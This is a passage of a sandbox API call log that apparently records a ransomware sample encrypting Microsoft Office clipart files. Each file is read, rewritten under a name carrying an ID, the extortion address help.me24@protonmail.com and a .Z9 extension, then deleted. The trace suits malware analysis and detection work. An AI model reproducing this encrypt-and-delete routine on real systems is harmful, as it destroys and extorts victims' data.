	[0094.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.038] lstrlenW (lpString=".xls") returned 4
	[0094.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.038] lstrlenW (lpString=".xlsx") returned 5
	[0094.038] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.038] lstrlenW (lpString=".ppt") returned 4
	[0094.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0094.039] lstrlenW (lpString=".zip") returned 4
	[0094.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.039] lstrlenW (lpString=".rar") returned 4
	[0094.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.039] lstrlenW (lpString=".bz2") returned 4
	[0094.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.039] lstrlenW (lpString=".7z") returned 3
	[0094.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0094.039] lstrlenW (lpString=".dbf") returned 4
	[0094.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0094.039] lstrlenW (lpString=".1cd") returned 4
	[0094.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0094.039] lstrlenW (lpString=".jpg") returned 4
	[0094.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.039] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.039] lstrlenW (lpString="HH00236_.WMF") returned 12
	[0094.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.040] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3286) returned 1
	[0094.040] CloseHandle (hObject=0x378) returned 1
	[0094.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x220
	[0094.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.040] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.040] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0094.040] GetLastError () returned 0x0
	[0094.040] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xcd6, lpOverlapped=0x0) returned 1
	[0094.591] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xce0, lpOverlapped=0x0) returned 1
	[0094.594] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.594] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.595] SetEndOfFile (hFile=0x364) returned 1
	[0094.595] CloseHandle (hObject=0x364) returned 1
	[0094.595] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.595] SetEndOfFile (hFile=0x378) returned 1
	[0094.596] CloseHandle (hObject=0x378) returned 1
	[0094.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 1
	[0094.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0094.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0094.596] lstrlenW (lpString=".doc") returned 4
	[0094.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.596] lstrlenW (lpString=".docx") returned 5
	[0094.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.596] lstrlenW (lpString=".pdf") returned 4
	[0094.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.596] lstrlenW (lpString=".xls") returned 4
	[0094.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.596] lstrlenW (lpString=".xlsx") returned 5
	[0094.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.596] lstrlenW (lpString=".ppt") returned 4
	[0094.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0094.597] lstrlenW (lpString=".zip") returned 4
	[0094.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.597] lstrlenW (lpString=".rar") returned 4
	[0094.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.597] lstrlenW (lpString=".bz2") returned 4
	[0094.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.597] lstrlenW (lpString=".7z") returned 3
	[0094.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0094.597] lstrlenW (lpString=".dbf") returned 4
	[0094.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0094.597] lstrlenW (lpString=".1cd") returned 4
	[0094.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0094.597] lstrlenW (lpString=".jpg") returned 4
	[0094.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0094.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0094.597] lstrlenW (lpString=".doc") returned 4
	[0094.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.597] lstrlenW (lpString=".docx") returned 5
	[0094.597] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.597] lstrlenW (lpString=".pdf") returned 4
	[0094.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.597] lstrlenW (lpString=".xls") returned 4
	[0094.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.597] lstrlenW (lpString=".xlsx") returned 5
	[0094.597] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.597] lstrlenW (lpString=".ppt") returned 4
	[0094.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0094.597] lstrlenW (lpString=".zip") returned 4
	[0094.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.597] lstrlenW (lpString=".rar") returned 4
	[0094.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.598] lstrlenW (lpString=".bz2") returned 4
	[0094.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.598] lstrlenW (lpString=".7z") returned 3
	[0094.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0094.598] lstrlenW (lpString=".dbf") returned 4
	[0094.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0094.598] lstrlenW (lpString=".1cd") returned 4
	[0094.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0094.598] lstrlenW (lpString=".jpg") returned 4
	[0094.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.598] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.598] lstrlenW (lpString="HH00601_.WMF") returned 12
	[0094.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.598] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1468) returned 1
	[0094.598] CloseHandle (hObject=0x378) returned 1
	[0094.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x220
	[0094.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.599] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.599] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0094.599] GetLastError () returned 0x0
	[0094.599] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x5bc, lpOverlapped=0x0) returned 1
	[0094.601] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x5c0, lpOverlapped=0x0) returned 1
	[0094.602] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.602] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.602] SetEndOfFile (hFile=0x364) returned 1
	[0094.602] CloseHandle (hObject=0x364) returned 1
	[0094.602] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.602] SetEndOfFile (hFile=0x378) returned 1
	[0094.603] CloseHandle (hObject=0x378) returned 1
	[0094.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 1
	[0094.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0094.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0094.605] lstrlenW (lpString=".doc") returned 4
	[0094.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.605] lstrlenW (lpString=".docx") returned 5
	[0094.605] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.605] lstrlenW (lpString=".pdf") returned 4
	[0094.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.605] lstrlenW (lpString=".xls") returned 4
	[0094.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.605] lstrlenW (lpString=".xlsx") returned 5
	[0094.605] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.605] lstrlenW (lpString=".ppt") returned 4
	[0094.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0094.605] lstrlenW (lpString=".zip") returned 4
	[0094.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.605] lstrlenW (lpString=".rar") returned 4
	[0094.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.605] lstrlenW (lpString=".bz2") returned 4
	[0094.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.605] lstrlenW (lpString=".7z") returned 3
	[0094.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0094.605] lstrlenW (lpString=".dbf") returned 4
	[0094.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0094.605] lstrlenW (lpString=".1cd") returned 4
	[0094.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0094.605] lstrlenW (lpString=".jpg") returned 4
	[0094.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0094.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0094.605] lstrlenW (lpString=".doc") returned 4
	[0094.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.605] lstrlenW (lpString=".docx") returned 5
	[0094.606] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.606] lstrlenW (lpString=".pdf") returned 4
	[0094.606] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.606] lstrlenW (lpString=".xls") returned 4
	[0094.606] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.606] lstrlenW (lpString=".xlsx") returned 5
	[0094.606] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.606] lstrlenW (lpString=".ppt") returned 4
	[0094.606] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0094.606] lstrlenW (lpString=".zip") returned 4
	[0094.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.606] lstrlenW (lpString=".rar") returned 4
	[0094.606] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.606] lstrlenW (lpString=".bz2") returned 4
	[0094.606] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.606] lstrlenW (lpString=".7z") returned 3
	[0094.606] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0094.606] lstrlenW (lpString=".dbf") returned 4
	[0094.606] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0094.606] lstrlenW (lpString=".1cd") returned 4
	[0094.606] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0094.606] lstrlenW (lpString=".jpg") returned 4
	[0094.606] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.606] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.606] lstrlenW (lpString="HH00602_.WMF") returned 12
	[0094.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.607] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1400) returned 1
	[0094.607] CloseHandle (hObject=0x378) returned 1
	[0094.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x220
	[0094.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.607] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.607] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0094.608] GetLastError () returned 0x0
	[0094.608] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x578, lpOverlapped=0x0) returned 1
	[0094.609] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x580, lpOverlapped=0x0) returned 1
	[0094.610] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.610] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.610] SetEndOfFile (hFile=0x364) returned 1
	[0094.610] CloseHandle (hObject=0x364) returned 1
	[0094.610] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.610] SetEndOfFile (hFile=0x378) returned 1
	[0094.611] CloseHandle (hObject=0x378) returned 1
	[0094.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 1
	[0094.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0094.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0094.612] lstrlenW (lpString=".doc") returned 4
	[0094.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.612] lstrlenW (lpString=".docx") returned 5
	[0094.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.612] lstrlenW (lpString=".pdf") returned 4
	[0094.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.612] lstrlenW (lpString=".xls") returned 4
	[0094.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.612] lstrlenW (lpString=".xlsx") returned 5
	[0094.612] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.612] lstrlenW (lpString=".ppt") returned 4
	[0094.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0094.612] lstrlenW (lpString=".zip") returned 4
	[0094.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.612] lstrlenW (lpString=".rar") returned 4
	[0094.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.612] lstrlenW (lpString=".bz2") returned 4
	[0094.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.612] lstrlenW (lpString=".7z") returned 3
	[0094.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0094.612] lstrlenW (lpString=".dbf") returned 4
	[0094.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0094.612] lstrlenW (lpString=".1cd") returned 4
	[0094.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0094.612] lstrlenW (lpString=".jpg") returned 4
	[0094.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0094.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0094.613] lstrlenW (lpString=".doc") returned 4
	[0094.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.613] lstrlenW (lpString=".docx") returned 5
	[0094.613] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
